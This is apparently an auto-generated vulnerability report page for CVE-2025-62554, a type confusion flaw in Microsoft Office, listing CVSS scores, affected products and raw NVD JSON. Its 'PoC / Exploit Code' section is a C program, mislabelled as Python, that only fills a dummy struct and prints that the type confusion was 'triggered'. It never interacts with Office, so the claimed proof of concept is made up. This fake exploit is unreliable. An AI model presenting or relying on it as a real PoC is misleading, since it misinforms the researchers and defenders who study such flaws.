Security Vulnerability Report
中文
CVE-2025-62554 CVSS 8.4 HIGH

CVE-2025-62554

Published: 2025-12-09 18:16:01
Last Modified: 2025-12-10 18:37:26

Description

Access of resource using incompatible type ('type confusion') in Microsoft Office allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:-:*:*:*:*:android:*:* - VULNERABLE
cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x86:* - VULNERABLE
Microsoft Office 2016 及更早版本
Microsoft Office 2019
Microsoft Office 2021
Microsoft 365 Apps

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62554 Type Confusion PoC (Conceptual) // This is a simplified demonstration of the vulnerability concept // Actual exploitation requires specific Office version targeting #include <windows.h> #include <stdio.h> // Malformed object structure to trigger type confusion typedef struct { DWORD dwType; // Type identifier DWORD dwSize; // Object size LPVOID lpVTable; // Virtual table pointer DWORD dwData[10]; // Malformed data } MALFORMED_OBJECT; // Create a malicious Office document (simplified representation) void CreateMaliciousDocument() { printf("[*] Creating malicious document for CVE-2025-62554...\n"); // In real attack, this would be an actual .docx/.xlsx file // with malformed object structures in the OOXML format MALFORMED_OBJECT obj = {0}; obj.dwType = 0x41414141; // Trigger type confusion obj.lpVTable = (LPVOID)0x00000000; // Controlled vtable printf("[*] Malformed object created: 0x%p\n", &obj); printf("[*] Type confusion condition triggered\n"); } int main() { printf("[*] CVE-2025-62554 Type Confusion PoC\n"); printf("[*] Target: Microsoft Office\n"); printf("[*] Vulnerability: Type Confusion in document parsing\n\n"); // Simulate document processing CreateMaliciousDocument(); printf("[!] In real scenario, this would lead to code execution\n"); printf("[!] Attack requires local access to target system\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62554", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:00.620", "lastModified": "2025-12-10T18:37:25.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Access of resource using incompatible type ('type confusion') in Microsoft Office allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:-:*:*:*:*:android:*:*", "matchCriteriaId": "DD6ED53F-7197-439D-A458-0DF13E16AE91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "72324216-4EB3-4243-A007-FEF3133C7DF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "0FBB0E61-7997-4F26-9C07-54912D3F1C10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62554", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}